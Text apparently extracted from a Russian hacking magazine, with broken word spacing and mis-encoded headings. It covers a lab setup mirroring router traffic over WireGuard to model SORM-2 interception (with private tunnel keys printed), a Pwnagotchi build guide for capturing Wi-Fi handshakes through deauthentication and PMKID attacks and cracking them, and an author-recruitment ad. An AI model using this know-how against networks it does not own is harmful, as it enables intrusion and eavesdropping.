На самом деле струк тура СОРМ-2 край не прос та: пог ранич ный мар шру тиза- 
тор генери рует копию легитим ного тра фика и отправ ляет его в сто рону
СОРМ. Затем СОРМ будет обра баты вать получен ный тра фик и перенап- 
равлять его в сто рону ПУ. Реали зация СОРМ-2 в про дак шене инди виду аль на:
есть слу чаи, где обо рудо вание СОРМ помеща ют физичес ки пря мо в ЦОД,
есть слу чаи, где нуж но передать зер кало поверх интерне та, одна ко сто ит учи- 
тывать дли ну магис тра ли до при емни ка, что бы избе жать боль ших задер жек.

ÇÅÐÊÀËÎ

Зер калиро вание тра фика — это про цесс, при котором сни мает ся копия тра-
фика с того или ино го интерфей са на пог ранич ном мар шру тиза торе. Для это- 
го сущес тву ют спе циаль ные про токо лы, самые популяр ные из них — ERSPAN
и TZSP. Так как я вос поль зуюсь RouterOS, работать будем с под держи ваемым
там TZSP. Он мало чем отли чает ся от ERSPAN, раз ве что тех нологи ями
инкапсу ляции: TZSP исполь зует UDP, а в ERSPAN при меня ется GRE-инкапсу- 
ляция с Proto Type .0x88BE

TZSP (TaZmen Sniffer Protocol) тран сли рует зер кало поверх L3-соеди нений
с помощью UDP-слоя (UDP/37008). Это часть сис темы Packet Sniffer
в RouterOS. Про токол доволь но прос той, и его работа сво дит ся к тому, что он
обо рачи вает исходный тра фик в свои заголов ки.

За голо вок TZSP при инкапсу ляции

ÝÊÑÏÅÐÈÌÅÍÒÀËÜÍÀß ÑÅÒÜ

На ша лабора тор ная сеть будет тре хуров невой, с пог ранич ным мар шру тиза- 
тором RouterOS. В качес тве при емни ка зер калиру емо го тра фика у нас выс- 
тупит машина на Debian. Цель для зер калиро вания — тра фик из кли ент ских
под сетей 10.10.120.0/24 и 10.10.140.0/24 (VLAN 120 и VLAN 140 соот ветс- 
твен но).

Ос новная кон цепция — зер калиро вать тра фик и переда вать его через
безопас ный канал свя зи для пос леду ющей обра бот ки и хра нения.

ÂÈÐÒÓÀËÜÍÛÉ ÊÀÍÀË ÑÂßÇÈ S2S

Для нас важ но обес печить безопас ность переда ваемой информа ции, пос- 
коль ку внут ри тун неля могут быть незашиф рован ные дан ные от поль зовате- 
лей. Так как в моем сце нарии зер калиро ван ный тра фик пос тупа ет на при- 
емник поверх интерне та, необ ходимо пос тро ить час тный канал свя зи, внут ри
которо го будет переда вать ся зер кало. Я буду исполь зовать кон цепцию S2S
(Site to Site VPN). Гру бо говоря, это VPN-канал меж ду дву мя нодами —
RouterOS и Debian Linux.

WIREGUARD

В качес тве про токо ла для S2S VPN я возь му Wireguard. Он быс трый, гиб кий
и лег ко нас тра иваемый.

В рам ках этой сети Wireguard-сер вером выс тупит пог ранич ный мар шру- 
тиза тор на RouterOS, а кли ентом будет при емник зер кала на Debian 12.

Кон фигура ция Wireguard-сер вера выг лядит сле дующим обра зом:

 
 
 
[admin@BORDER] /interface/wireguard> print 
 

 

 

 
 
[admin@BORDER] /interface/wireguard> 
 
 
[admin@BORDER] /ip/address> add address=10.0.0.1/24 
interface=thepossessor 
 
 
[admin@BORDER] /interface/wireguard/peers> print 
 

 

 

 
 

Flags: X - disabled; R - running

 0  R name="thepossessor" mtu=1420 listen-port=51820 private-
key="mKAAOLWpp5VM133EUdGWneQR8axn9jeqozVITtqmsmA="

  public-key=&quot;HEbUC3ae1r03OIT8gPtVL3xmIPPHNYCKFVDXBvPQeyk=&quot;

Columns: INTERFACE, PUBLIC-KEY, ENDPOINT-PORT, ALLOWED-ADDRESS, 
PERSISTENT-KEEPALIVE

# INTERFACE  PUBLIC-KEY                                    ENDPOINT-PORT  
ALLOWED-ADDRESS  PERSISTENT-KEEPALIVE

0 thelaw     iQo3n/mi+w6gUrQim9D0FHNpXMxEL0cscMVSE6w3dCU=              0  
10.0.0.2/32      25s

Wireguard-кли ент:

[Interface]
  PrivateKey = eN3iDA1gOL2cygLwNRkDasFOoUzTFjpdLCmK4YMEhUA=

  Address = 10.0.0.2/24

[Peer]
  PublicKey = HEbUC3ae1r03OIT8gPtVL3xmIPPHNYCKFVDXBvPQeyk=
  Endpoint = 212.100.144.100:51820
  AllowedIPs = 10.0.0.1/32

  PersistentKeepalive = 25

Ад ресация для тун неля — 10.0.0.0/24. Целевой порт Wireguard-сер вера —
UDP/51820, а  для обе их сто рон равен 25 секун дам.
Если с нас трой ками все нор маль но, тун нель меж ду дву мя хос тами будет акти- 
вен и мож но переда вать дан ные.

PersistentKeepalive

Во вре мя нас трой ки тун неля учи тывай зна чение
MTU, опре деля ющее мак сималь ный раз мер
полез ных дан ных. При некор рек тных зна чени ях
MTU воз можна избы точ ная фраг мента ция. Так же
учи тывай раз меры сво ей инфраструк туры, так
как при зер калиро вании тра фика воз раста ет наг- 
рузка на про цес сор и интерфей сы мар шру тиза- 
тора. При необ ходимос ти нас тра ивай допол- 
нитель ные филь тры для зер калиро вания, что бы
сзу ить круг поис ка и сба вить наг рузку на обо- 
рудо вание.

PACKET SNIFFER

Это спе циаль ный инс тру мент внут ри RouterOS, который может зер калиро вать
тра фик и переда вать его поверх L3-соеди нений с помощью TZSP. Packet
Sniffer так же под держи вает филь тры, по которым будет выпол нять ся зер- 
калиро вание:

филь тра ция по интерфей сам;•
филь тра ция по про токо лам;•
филь тра ция по TCP/UDP-пор там источни ка/наз начения;•
филь тра ция по MAC-адре сам источни ка/наз начения;•
филь тра ция по IP-адре сам источни ка/наз начения, так же под держи вают ся
IPv4 и IPv6 вмес те;

•

филь тра ция по VLAN;•
филь тра ция по CPU;•
вы бор нап равле ния тра фика;•
опе рации OR и AND.•

В кон тек сте моей сети я ука жу филь тра цию толь ко по интерфей сам 
и . Это интерфей сы, смот рящие в сто рону внут ренней сети, которая

обра щает ся к интерне ту. Затем с это го интерфей са будет собирать ся копия
и отправ лять ся на при емник. Нап равле ние тра фика — в обе сто роны (any).

ether1
ether2

Сер вер наз начения для TZSP нас тра ивает ся в раз деле Streaming. Понадо- 
бит ся ука зать адрес целево го при емни ка и UDP-порт. Так как мы пус каем
зер кало по Wireguard-тун нелю, нуж но ука зать адрес при емни ка, который
находит ся имен но на его WG-интерфей се, а это 10.0.0.2.

 
 
 
[admin@BORDER] /tool/sniffer> set filter-interface=ether1,ether2 filter-
stream=yes streaming-enabled=yes streaming-server=10.0.0.2 
 
 
[admin@BORDER] /tool/sniffer> start 
 
 

Кста ти говоря, Packet Sniffer тре бует руч ного запус ка, поэто му в кон це коман- 
да .start

ÎÁÐÀÁÎÒÊÀ TZSP

Пос ле акти вации Packet Sniffer зер калиро ван ный тра фик уже полетит в сто- 
рону при емни ка. Необ ходимо изба вить ся от избы точ ных заголов ков TZSP
в зер калиро ван ном тра фике. Для это го есть инс тру мент , он прост
и удо бен, ком пилиру ется без осо бых проб лем:

tzsp2pcap

git clone https://github.com/thefloweringash/ 
cd tzsp2pcap 

make ~/tzsp2pcap$ 

 

 

 

 

caster@thepossessor:~/research/tzsp2pcap$ ./tzsp2pcap -h

tzsp2pcap: receive tazmen sniffer protocol over udp and 
produce pcap formatted output

Usage ./tzsp2pcap [-h] [-v] [-f] [-p PORT] [-o FILENAME] [-s SIZE] [-G 
SECONDS] [-C SIZE] [-z CMD] 
    -h           Display this message
    -v           Verbose (repeat to increase up to -vv) 
    -f           Flush output after every packet 
    -p PORT      Specify port to listen on  (defaults to 37008) 
    -o FILENAME  Write output to FILENAME   (defaults to stdout) 
    -s SIZE      Receive buffer size        (defaults to 65535) 
    -G SECONDS   Rotate file every n seconds 
    -C FILESIZE  Rotate file when FILESIZE is reached
    -z CMD       Post-rotate command to execute

За меть, никаких парамет ров, которые помог ли бы обра баты вать пос тупа- 
ющий тра фик, у tzsp2pcap нет. Для при мера я запущу tzsp2pcap, что бы он
сре зал заголов ки TZSP и сох ранял весь зер калиру емый тра фик в фор мате
pcap.

С помощью  я сде лаю так, что бы у каж дого соз дава емо го дам па был

тай мстемп Unix. Аргу мент  ука зыва ет на то, через сколь ко секунд будет соз- 

дан вто рой файл pcap. Я выб рал 86 400 секунд, то есть новый дамп тра фика
будет соз давать ся раз в сут ки. При мер чис то из головы — в реаль ных усло- 
виях может понадо бить ся дру гое зна чение.

%s
-G

 

 

caster@thepossessor:~/research/tzsp2pcap$ sudo ./tzsp2pcap -o 
"dump_%s.pcap" -G 86400

Ра бота tzsp2pcap пре рыва ется по нажатию Ctrl-C, все дам пы тра фика будут
сох ранены. Вот спи сок всех соз данных дам пов, каж дый новый дамп соз- 
давал ся через 10 секунд (пос ле  идет UNIXTIMESTAMP):dump_

 

 

caster@thepossessor:~/dumps$ ls -l 
total 12 
-rw------- 1 caster caster  880 Sep 19 13:04 dump_1695117866.pcap 
-rw------- 1 caster caster 2970 Sep 19 13:04 dump_1695117876.pcap 
-rw------- 1 caster caster  366 Sep 19 13:04 dump_1695117886.pcap

Об работан ный тра фик без TZSP-заголов ков

Та ким обра зом мы получа ем пол ную копию тра фика из внут ренней сети пог- 
ранич ного мар шру тиза тора, а так же избавля емся от избы точ ных TZSP-
заголов ков. Вот как выг лядел бы кли ент ский тра фик без обра бот ки.

Кли ент ский тра фик без сре зания TZSP-заголов ков

Так мож но про водить зер калиро вание тра фика, обра баты вать заголов ки
TZSP и хра нить дам пы локаль но на при емни ке.

ÂÛÂÎÄÛ

Это очень твор ческая и экспе римен таль ная работа. В статье я пытал ся рас- 
смот реть СОРМ-2 через приз му сетевых про токо лов, так что это исклю- 
читель но кон цепт. У СОРМ-2 есть мно жес тво реали заций, и каж дая уста нов ка
в кон крет ной инфраструк туре — уни каль ный кейс. Впро чем, реаль ную
СОРМ-2 я не исполь зовал и, даже если бы мне пре дос тавили дос туп, вряд ли
смог бы написать об этом статью.

https://t.me/wearecaster
https://digital.gov.ru/ru/documents/3798/
https://digital.gov.ru/ru/documents/4249/
https://minjust.consultant.ru/documents/41292
https://github.com/thefloweringash/tzsp2pcap
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На вер няка читате ли «Хакера» хотя бы
однажды задава лись воп росом: мож но ли
самос тоятель но соб рать недоро гое
устрой ство, которое будет что-нибудь взла- 
мывать по нажатию одной кноп ки? Или вов- 
се без кноп ки, само, авто мати чес ки? Мож- 
но! Встре чай те Pwnagotchi — самодель ный
хакер ский девайс для взло ма бес про вод- 
ных сетей, работа ющий на осно ве искусс- 
твен ного интеллек та. Да еще и с циф ровым
питом цем внут ри!

Гля дя на малень кую конс трук цию с дис пле ем, на котором вир туаль ный
питомец кор чит забав ные рожицы, невоз можно отде лать ся от ощу щения, что

 чем-то похож на . Опре делен ное родс тво этих про- 
ектов дей стви тель но прос лежива ется: в  соз датель «Флип- 
пера» Павел Жов нер упо минал о том, что, при думы вая свое устрой ство, он
вдох новлял ся Pwnagotchi. «Тамаго чи для хакеров» (наз вание Pwnagotchi
пред став ляет собой гиб рид жар гонно го сло веч ка Pwn и наз вания популяр ной
игрушки от ком пании Bandai) дей стви тель но появил ся на свет рань ше: пер вая
вер сия это го девай са была анон сирова на в октябре 2019 года, а Flipper Zero
зашел на Kiсkstarter в июле 2020-го.

Pwnagotchi Flipper Zero
ин тервью «Хакеру»

На конец, эти устрой ства дей стви тель но раз ные. «Флип пер» — это «швей- 
цар ский нож» хакера или пен тесте ра, бла года ря допол нитель ным модулям
и при ложе ниям он поз воля ет исполь зовать широкий набор раз нооб разных
инс тру мен тов. С одним важ ным огра ниче нием: в нем есть поч ти всё, кро ме
средств для взло ма Wi-Fi. Что бы получить такую воз можность, поль зователь
«Флип пера» дол жен при обрести отдель ный модуль, в то вре мя
как Pwnagotchi, наобо рот, соз дан для решения одной-единс твен ной прак- 
тичес кой задачи — взло ма Wi-Fi. Есть и еще одно отли чие: для вза имо дей- 
ствия с Flipper Zero исполь зует ся целых две кноп ки, тог да как Pwnagotchi
вооб ще лишен каких-либо орга нов управле ния. Дос таточ но вклю чить
питание… и он прос то работа ет. Кста ти, а как имен но?

ÊÀÊ ÐÀÁÎÒÀÅÒ PWNAGOTCHI?

Ког да твой телефон, ноут бук или дру гой девайс уста нав лива ет бес про вод ное
соеди нение с точ кой дос тупа по про токо лу WPA2, они обме нива ются четырь- 
мя спе циаль ными пакета ми дан ных, поз воля ющи ми наладить меж ду устрой- 
ства ми безопас ный канал свя зи. Этот про цесс называ ется четырех сту пен- 
чатым рукопо жати ем. Во вре мя рукопо жатия по бес про вод ной сети переда- 
ются сооб щения EAPOL (extensible authentication protocol over LAN). Во вто- 
ром пакете (EAPOL M2) кли ент сооб щает точ ке дос тупа, что ему известен
ключ PSK. В ответном сооб щении (EAPOL M3) точ ка дос тупа переда ет
информа цию о том, что ключ валиден. Если под твержде ния не при ходит,
устрой ство, веро ятнее все го, попыта лось выпол нить под клю чение с неп- 
равиль ным паролем.

Pwnagotchi перех ватыва ет и сох раня ет дан ные из под твержден ных пакетов
M2. Впос ледс твии поль зователь устрой ства может вос ста новить пароль бес- 
про вод ной сети из хеша методом перебо ра по сло варю. Для это го сущес тву- 
ют спе циаль ные прог раммы, нап ример , или онлай новые сер висы
вро де .

hashcat
Onlinehashcrack

Для сбо ра хешей Pwnagotchi исполь зует ути литу , хорошо зна- 
комую всем, кто имел дело с Kali Linux. Это спе циаль ный инс тру мент
для перех вата тра фика в бес про вод ных сетях и про веде ния MITM-атак.
Pwnagotchi ска ниру ет эфир и в момент под клю чения кли ент ских устрой ств
к точ ке дос тупа зах ватыва ет хен дшейк, а затем записы вает получен ные дан- 
ные на SD-кар ту в виде фай лов PCAP для пос леду юще го ана лиза. «Рукопо- 
жатия» про исхо дят регуляр но, нап ример ког да в зоне дей ствия сети появ- 
ляют ся вла дель цы под клю чав шихся рань ше к этой точ ке дос тупа мобиль ных
телефо нов или при вклю чении бес про вод ных прин теров. Пос коль ку такая
ата ка пол ностью пас сивна, выявить ее очень слож но — Pwnagotchi дей ству ет
бес шумно и незамет но.

Bettercap

Од нако устрой ство может «фор сировать» сбор хен дшей ков, задей ство вав
более агрессив ные методы, чем прос тое ска ниро вание эфи ра. Пер вый —
деаутен тифика ция: Pwnagotchi отправ ляет от име ни кли ента и точ ки дос тупа
всем под клю чен ным к сети устрой ствам спе циаль ные пакеты, раз рыва ющие
соеди нение. Потеряв шие связь кли енты возоб новля ют прер ванное под клю- 
чение, а Pwnagotchi перех ватыва ет переда ваемые ими хеши паролей.

Вто рой метод — это отправ ка точ ке дос тупа спе циаль ных пакетов EAPOL
с целью спро воци ровать утеч ку PMKID. В этом слу чае перех ват хен дшей ка
и вов се не тре бует ся: PMKID переда ется в пер вом пакете четырех сту пен- 
чатого рукопо жатия (М1) еще до эта па аутен тифика ции с исполь зовани ем
пароля. Эта фун кция исполь зует ся роуте рами в некото рых кор поратив ных
сетях для перек лючения меж ду точ ками дос тупа с иден тичны ми име нами,
но далеко не все устрой ства под верже ны такой уяз вимос ти.

В сво ей работе Pwnagotchi исполь зует искусс твен ный интеллект, а если
говорить точ нее, AI-модель под наз вани ем Actor Advantage Critic (A2C).
В рам ках модели A2C алго ритм оце нива ет текущее сос тояние устрой ства
и выда ет рекомен дации для его даль нейше го поведе ния с целью получить
наилуч ший резуль тат, то есть соз дает логичес кие цепоч ки «сос тояние — дей- 
ствие — воз награж дение». Таким обра зом, Pwnagotchi «учит ся» взла мывать
бес про вод ные сети, что называ ется, «на ходу»: чем боль ше успешных
попыток перех вата хешей совер шит девайс, тем быс трее он ста нет дей ство- 
вать в будущем, выбирая в каж дом кон крет ном слу чае наибо лее выгод ную
так тику.

Что ж, как работа ет Pwnagotchi, мы в общих чер тах разоб рались, теперь
давай пос мотрим, как эта игрушка устро ена.

ÓÑÒÐÎÉÑÒÂÎ PWNAGOTCHI

Конс трук ция Pwnagotchi очень прос та: все ком понен ты мож но купить
на AliExpress, при чем сто ят они отно ситель но недоро го.

Конс трук тивные эле мен ты Pwnagotchi

В осно ве устрой ства лежит одноплат ный компь ютер Raspberry Pi Zero WН —
при чем выбирать сле дует имен но модифи кацию WН, пос коль ку такое устрой- 
ство обо рудо вано бес про вод ным модулем Wi-Fi и Bluetooth и на нем уже рас- 
паян интерфей сный разъ ем, к которо му под клю чает ся дис плей. Я покупал
свой  у про дав ца по име ни adrol, но магази нов, тор гующих
подоб ными девай сами, на «Али» мно жес тво.

од ноплат ник

Ес ли ты чита ешь эту статью в далеком и прек- 
расном будущем, ссыл ки на кон крет ные стра- 
ницы с товара ми на сай те AliExpress могут уже
не работать. Не отча ивай ся: нуж ные зап части
без тру да находят ся поис ком.

Raspberry Pi Zero WН

В качес тве дис плея луч ше все го подой дет модуль для RPi0 на элек трон ных
чер нилах. Если верить офи циаль ной стра нице про екта, Pwnagotchi под- 
держи вает «из короб ки» экра ны Waveshare V2, но сегод ня эта модель (как
и V3) уже счи тает ся уста рев шей, и ее про изводс тво прек ращено, поэто му
най ти в про даже такой экран не так-то прос то. Я купил 

. Эта модель име ет вер сию V4, поэто му с ее нас трой кой
у меня воз никли некото рые проб лемы — впро чем, их уда лось успешно пре- 
одо леть.

дис плей Waveshare
диаго налью 2,13″

Дис плей ный модуль

Что бы Pwnagotchi работал авто ном но, мож но исполь зовать любой ком пак- 
тный повер банк со шну ром Micro-USB, но луч ше купить спе циаль ный акку- 
муля тор ный , нап ример той же ком пании
Waveshare. Он под клю чает ся к одноплат ному компь юте ру сни зу с помощью
кон тактов-пинов, бла года ря чему соб ранное изде лие выг лядит опрятно,
без тор чащих сбо ку про водов. Питание пода ется на одноплат ник с помощью
перек лючате ля, а акку муля тор заряжа ется через разъ ем Micro-USB, смон- 
тирован ный на модуле питания.

мо дуль питания для Raspberry Pi Zero

Мо дуль питания. Тран спортная ком пания уро нила на него бегемо та,
поэто му разъ емы слег ка пог нуты

На конец, тебе понадо бит ся кар та памяти фор мата MicroSD емкостью
не менее 32 Гбайт. В прин ципе, подой дет любая сто имостью око ло дол лара.

ÑÁÎÐÊÀ È ÍÀÑÒÐÎÉÊÀ

Ду маю, сбор ку Pwnagotchi оси лит даже сред неста тис тичес кий посети тель
стар шей груп пы дет ско го сада. Под клю чаем акку муля тор ную батарею к соот- 
ветс тву юще му разъ ему на пла те модуля питания, уста нав лива ем в отвер стия
по кра ям пла ты резь бовые стой ки и прик ручива ем свер ху Raspberry Pi Zero
WН — весь кре пеж вхо дит в ком плект пос тавки. Важ но сле дить, что бы пины
пла ты с акку муля тором точ но сов пали с кон такта ми на ниж ней сто роне
одноплат ника. Теперь плот но встав ляем дис плей ный модуль свер ху
в интерфей сный разъ ем Raspberry Pi. Все, сбор ка завер шена, мож но пить 

 сму зи. Кое-кто рас печаты вает на 3D-прин тере изящ ные кор пуса для сво- 
его устрой ства (готовые STL-модели мож но най ти в интерне те), но мы обой- 
дем ся без подоб ных изли шеств.

пи- 
во

Соб ранное устрой ство выг лядит при мер но так

Ес ли теперь мы подадим питание на одноплат ный компь ютер, ничего не про- 
изой дет: Raspberry Pi Zero работа ет толь ко тог да, ког да в соот ветс тву ющий
разъ ем встав лена кар та памяти с опе раци онной сис темой. Соот ветс твен но,
эту сис тему нуж но на кар ту записать.

В качес тве ОС Pwnagotchi исполь зует модифи циро ван ный дис три бутив
Raspbian с целым набором допол нитель ных модулей, вклю чая Bettercap
и питонов ские биб лиоте ки, которые обес печива ют работу алго рит мов само- 
обу чения. Инс трук ция на  пред лага ет ска чать
про шив ку с , но, если ты, как и я, купил дис плей Waveshare V4, офи- 
циаль ная про шив ка отка жет ся работать, пос коль ку под дер жка это го типа
экра нов в ней нап рочь отсутс тву ет. Помучав шись с этой проб лемой при мер- 
но пол дня, я нашел , которая нор маль но под- 
держи вает Waveshare V4, — ее я и уста новил на свой Pwnagotchi.

офи циаль ном сай те про екта
GitHub

мо дифи циро ван ную про шив ку

Файл про шив ки удоб нее все го записать на SD-кар ту при помощи прог- 
раммы  или ути литой dd, если уме ешь ей пра виль но поль зовать- 
ся. В резуль тате на кар те появит ся два раз дела: , содер жащий заг рузоч- 
ные фай лы и фай лы с нас трой ками, и раз дел с опе раци онной сис темой.

balenaEtcher
boot

Те перь необ ходимо изме нить базовые нас трой ки устрой ства. Не извле кая
кар ту памяти из компь юте ра, открой в про вод нике раз дел  и соз дай
в нем тек сто вый файл  при мер но сле дующе го содер жания:

boot
config.toml

config.toml
 main.name = "PwnagotchiName"
 main.lang = "en"

 main.whitelist = [
 , "MyWi-Fi_1"
 "MyWi-Fi_2"
]

 main.plugins.grid.enabled = true
 main.plugins.grid.report = true
 main.plugins.grid.exclude = [

   ,"MyWi-Fi_1"
   "MyWi-Fi_2"
]

 ui.display.enabled = true
 ui.display.type = "waveshare_3"
 ui.display.color = "black"

Вмес то  ука жи про изволь ное имя сво его устрой ства, а в раз- 

делах  и  перечис ли SSID бес- 

про вод ных сетей или MAC-адре са устрой ств, которые Pwnagotchi дол жен
исклю чить из ска ниро вания и хен дшей ки которых не будут перех ватывать ся.
Эти зна чения вво дят ся в кавыч ках и через запятую. В спис ке может при сутс- 
тво вать, нап ример, твоя домаш няя бес про вод ная сеть.

PwnagotchiName
main.whitelist main.plugins.grid.exclude

Те перь вставь SD-кар ту в разъ ем Raspberry Pi Zero, но вклю чать
Pwnagotchi пока еще рано. Одноплат ник име ет два пор та Micro-USB: один —
исклю читель но для питания, вто рой — для питания и переда чи дан ных. Вот
через него-то и нуж но под клю чить Pwnagotchi к компь юте ру с исполь зовани- 
ем кабеля. Ско рее все го, девайс опре делит ся как устрой ство с пос ледова- 
тель ным интерфей сом USB (Com3) — это зна чит, что Windows не сумела пра- 
виль но подоб рать драй веры. Ска чай  и уста нови его
с исполь зовани ем дис петче ра устрой ств.

драй вер Ethernet RNDIS

USB Ethernet/RNDIS Gadget

Ес ли ты все сде лал пра виль но, в сис теме появит ся новый сетевой адап тер
USB Ethernet/RNDIS Gadget. Открой в Windows свой ства под клю чения это го
адап тера и ука жи вруч ную IP-адрес , мас ку под сети ,

шлюз  и адрес сер вера DNS . Сох рани вне сен ные нас трой- 

ки — теперь при необ ходимос ти ты смо жешь под клю чать ся к Pwnagotchi
по про токо лу SSH при помощи любого под ходяще го при ложе ния, нап ример

.

10.0.0.1 255.255.255.0
10.0.0.1 8.8.8.8

PuTTY

ÓÐÀ, ÐÀÁÎÒÀÅÒ!

На этом нас трой ка Pwnagotchi закон чена, мож но вклю чить питание устрой- 
ства и  раз вле кать ся. Заг рузка девай са занима ет 15–
20 секунд, пос ле чего на экра не появит ся имя тво его вир туаль ного питом ца
и его забав ная рожица.

нас лаждать ся полетом

Pwnagotchi в дей ствии

Ро жицы, к сло ву, Pwnagotchi уме ет стро ить раз ные — их внеш ний вид и зна- 
чения пред став лены на сай те про екта. Помимо мор дашек, устрой ство отоб- 
ража ет текущий ста тус (он показы вает, чем Pwnagotchi занят в нас тоящий
момент), количес тво перех вачен ных пакетов, SSID сети, в которой был перех- 
вачен пос ледний пакет, и дру гую сопутс тву ющую информа цию.
Еще Pwnagotchi выведет на дис плей соот ветс тву ющее сооб щение, если поб- 
лизос ти обна ружит ся дру гой вла делец Pwnagotchi.

Pwnagotchi уме ет стро ить рожицы

В тер миноло гии соз дателей это го забав ного девай са Pwnagotchi «пита ется»
пакета ми бес про вод ных сетей. Если вир туаль ный питомец сооб щает хозя ину,
что он голоден, его нуж но незамед литель но покор мить — то есть отнести
туда, где есть мно жес тво дос тупных для ска ниро вания и взло ма бес про вод- 
ных сетей. То же самое каса ется нас тро ения питом ца: если ему скуч но,
единс твен ный спо соб раз влечь Pwnagotchi — скор мить ему нес коль ко
EAPOL-пакетов.

Pwnagotchi по умол чанию работа ет в авто мати чес ком режиме и не тре бует
вме шатель ства поль зовате ля. Вмес те с тем име ется воз можность кас томиза- 
ции его про шив ки: при желании мож но изме нить язык сооб щений, добавить
новые рожицы и ста тусы, под клю чить допол нитель ные пла гины, рас ширя- 
ющие воз можнос ти устрой ства, — все инс трук ции име ются на сай те раз- 
работ чиков.

Ко неч но, эффектив ность исполь зования Pwnagotchi нап рямую зависит
от того, нас коль ко слож ный пароль был уста нов лен в сети, рукопо жатия
которой уда лось перех ватить. Если этот пароль соот ветс тву ет обыч ным пра- 
вилам безопас ности, для его вос ста нов ления тебе, ско рее все го, при дет ся
купить подер жанную май нин говую фер му. А вот если в сети исполь зовал ся
прос той сло вар ный пароль, тебе повез ло: его под бор методом брут форса
зай мет нес коль ко часов.

ÊÀÊ ÇÀÙÈÒÈÒÜÑß

Ду маю, наши читате ли прек расно зна ют, чем чре вато несан кци они рован ное
под клю чение зло умыш ленни ков к бес про вод ной сети: они получат дос туп
к общим ресур сам и кон фиден циаль ным фай лам, смо гут перех ватывать тра- 
фик и обре тут воз можность исполь зовать чужой интернет-канал.
Как защитить ся от атак с исполь зовани ем это го устрой ства, осо бен но с уче- 
том того, что Pwnagotchi дей ству ет незамет но? Обе зопа сить себя от пас- 
сивно го перех вата пакетов неп росто, зато мож но при нять меры на слу чай,
если зло умыш ленник все-таки вос ста новит из хеша ключ бес про вод ной сети.

Ис поль зуй надеж ный пароль для Wi-Fi и сле ди за под клю чен ными к точ ке
дос тупа кли ента ми. Если в сети появи лось новое подоз ритель ное устрой ство,
это повод изме нить пароль. Ну а луч шая защита — нас тро ить роутер таким
обра зом, что бы к нему мог ли под клю чать ся толь ко устрой ства с заранее раз- 
решен ными MAC-адре сами из белого спис ка.

Ко му как, а мне Pwnagotchi показал ся забав ным и инте рес ным девай сом,
с помощью которо го мож но тес тировать безопас ность бес про вод ных сетей,
прос то про гули ваясь рядом с офи сом. Безус ловно, Pwnagotchi не срав нится
с Flipper Zero по набору дос тупных фун кций, но на сум му, которую про сят
за Flipper, мож но завес ти целый зоопарк Pwnagotchi. И еще оста нет ся нем- 
ного денег на пря ники.

mailto:valentin@holmogorov.ru
https://pwnagotchi.ai/
https://xakep.ru/tag/flipper-zero/
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«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ
ÑÒÀÒÜÞ?
Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?
Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?
1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

